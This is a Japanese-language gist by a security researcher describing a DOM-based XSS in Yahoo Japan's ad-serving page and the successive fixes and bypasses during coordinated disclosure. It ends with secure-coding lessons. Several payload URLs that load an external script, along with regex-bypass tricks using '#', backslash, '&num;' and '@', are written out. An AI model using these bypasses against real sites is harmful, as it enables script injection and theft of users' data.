Skip to content

Instantly share code, notes, and snippets.

@mala
Last active July 27, 2019 15:46
Show Gist options
  • Star 16 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save mala/1d30e42e9e99520b7a501e9d2458eb49 to your computer and use it in GitHub Desktop.
Save mala/1d30e42e9e99520b7a501e9d2458eb49 to your computer and use it in GitHub Desktop.
Yahoo広告配信用 s.yimg.jp ドメインでのXSSの解説

2017年。最初に報告したもの(1/17 返信あり)

Y!の広告配信用ドメインでXSSがあるのを見つけました。
isSafeUrlの判定処理でホスト名部分を取得する正規表現が間違っているため、外部のscriptを読み込み可能になっています。

http://s.yimg.jp/images/listing/tool/yads/yads-iframe.html#?tag_path=http://example.com#yads.yjtag.yahoo.co.jp/

tag_path=外部URL#*.yahoo.co.jp といった形式
co.jp ではないので影響は軽微かとは思うのですが、cookieやlocalStorageに書き込むことで継続的にユーザーに大して影響がある場合があります。
  • ちょうどURLのホスト名判定に関するURL ParserのバグをPHP, Javaに報告していたため、アプリケーションレベルでの処理で間違っている事例にも敏感になっていた。
  • JavaScriptで書かれているURLのホスト名を取り出す処理において、authority partの切り出し方が間違っていた
  • ? / が少なくとも考慮されなくてはいけない。[] : @ なども不要であれば、単にドメイン名として \w . - で良い。

function isSafeUrl(in_url) {
var matched = in_url.match(/^(?:https?:)?\/\/([^:\/]+)/);

1/24 修正されていたのを確認

function isSafeUrl(in_url) {
var matched = in_url.match(/^(?:https?:)?\/\/([^?#:\/]+)/);
  • authority partの終端として ? # が追加された。
  • ブラウザにおいて \ が / に読み替えられてしまうため、バックスラッシュも考慮する必要がある
  • XX以外、というブラックリスト方式の正規表現では考慮漏れが発生するので、最初からアプリケーションの要件を満たしつつ、安全であるとわかっている正規表現を使うべき

mala → yahoo

s.yimg.jp/images/listing/tool/yads/yads-iframe.html#?tag_path=http://example.com\yads.yjtag.yahoo.co.jp/

でもイケるよ

1/25 さらに修正

function isSafeUrl(in_url) {
var matched = in_url.match(/^(?:https?:)?\/\/([^\\?#:\/]+)/);
  • authority partの終端としてバックスラッシュが追加された

  • このタイミングで改めて他の抜け道がないかを精査

  • scriptタグをdocument.writeで出力しており、怪しかった。html escape相当の処理をしているようだったが。。

document.write('<script type="text/javascript" src="' +
entry +
'?' +
url_strings.join('&') +
'"></scr' + 'ipt>' );
function escapeString(in_str) {
return in_str.replace(/</g, "&lt;")
.replace(/>/g, "&gt;")
.replace(/"/g, "&quot;")
.replace(/'/g, "&#39;");
}
  • &&amp; に置換する処理がない
  • ホスト名部分では、特に & が禁止されていない → 文字参照で / # ? などを入れればチェックを迂回できるのでは?

というわけで報告

mala → yahoo

http://s.yimg.jp/images/listing/tool/yads/yads-iframe.html#?tag_path=http://example.com%26num;yads.yjtag.yahoo.co.jp/

でもイケるよ
%26 → & 
& num; → #
http://example.com%26num;yads.yjtag.yahoo.co.jp/ → http://example.com#yads.yjtag.yahoo.co.jp/

また、クエリパラメータ部分でのhtml escapeも不十分だった。

1/25 報告、修正方法についてのアドバイスも含めた。

(別の攻撃方法があることを後から追加で見つけているが、意地悪しているわけではない)

1/26 返信あり、再度修正が行われたのを確認

ホスト名部分の正規表現は厳しくなったし、英数字以外のパラメータは受け取らなくなった。

function isSafeUrl(in_url) {
  var matched = in_url.match(/^(?:https?:)?\/\/([\w\.-]+)/);
for (var f in url_params) {
if (f != 'tag_path') {
if (f.match(/^[\w-]+$/)) {
var v = url_params[f];
url_strings.push(f + '=' + window.encodeURIComponent(escapeString(v, false)));
...

1/26 この文章を書いている途中に、また修正不備を見つける

function isSafeUrl(in_url) {
  var matched = in_url.match(/^(?:https?:)?\/\/([\w\.-]+)/);
  • この書き方では、authority partの終端が定義されておらず、単に英数字以外の文字が来るまでの箇所をホスト名として見なしている
  • http://yads.yjtag.yahoo.co.jp@example.com/ 今までは@が許容されていたため、yads.yjtag.yahoo.co.jp@example.com のホスト名判定が行われていたところ、@より前の部分 *.yahoo.co.jp の判定が行われるようになった
  • チェックのために切り出されたホスト名部分と、実際に利用されるホスト名が違う(check: yahoo.co.jp / use: yahoo.co.jp@example.com)

1/27 修正方法について補足説明、再度修正

mala → yahoo

http://s.yimg.jp/images/listing/tool/yads/yads-iframe.html#?tag_path=http://yads.yjtag.yahoo.co.jp@example.com/

でもイケるよ
修正方法についてなのですが、自分の書き方も余り良くなかったので補足します
ホスト名部分の終端が定義されなくなってしまったのが問題なので、単に / で終わる条件を入れれば良いです。
英数字 . - の連続で、次に / が来る部分、と一般的なホスト名を抜き出す正規表現になります。
authority partの終端は正確には / ? # ですが、実際に使われるURLでは / になるので問題ないかと思います。

  var matched = in_url.match(/^(?:https?:)?\/\/([\w\.-]+)\//);

ポート番号や user:pass@ なども考慮する必要があるのであれば、ブラウザの機能を使うほうが簡潔に書けます。

a=document.createElement("a");
a.href="http://aaa.yahoo.co.jp@example.com";

a.hostname; // example.com
a.hostname.endsWith(".yahoo.co.jp");
/\.yahoo\.co\.jp$/.test(a.hostname);

修正後

function isSafeUrl(in_url) {
  var matched = in_url.match(/^(?:https?:)?\/\/([^\/]+)/);
  if (matched) {
    var domain = matched[1].match(/^([\w\.-]+)(:[0-9]+)?$/);
    if (domain) {

/ までの条件で一度authority partを切り出して、さらに英数字と任意で:数値のポート番号に限定。先頭と終端の指定があるのでドメイン部分に他の文字列は入らない。

修正完了、おつかれさまでした。

まとめと考察

  • DOM based XSS むずかしい? 正規表現難しい? 安全なコーディングのためにはいくつかのコツがありそうだ。
  • 「xx以外の任意文字」を使った正規表現 → プログラマの想像の範囲の認識と仕様の剥離による考慮漏れ。 \ のように実装固有の考慮漏れ
  • ブラックリスト追加 → もしかしたら抜け道があるかもしれない、きっとある。
  • ✕ 危険な文字列を禁止する ◯ 想定される全てのケースで安全だと保証できるコードを書く
  • HTMLの組み立て方 → 必ずhtml escapeを行う。もしくはDOMで組み立てる。
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment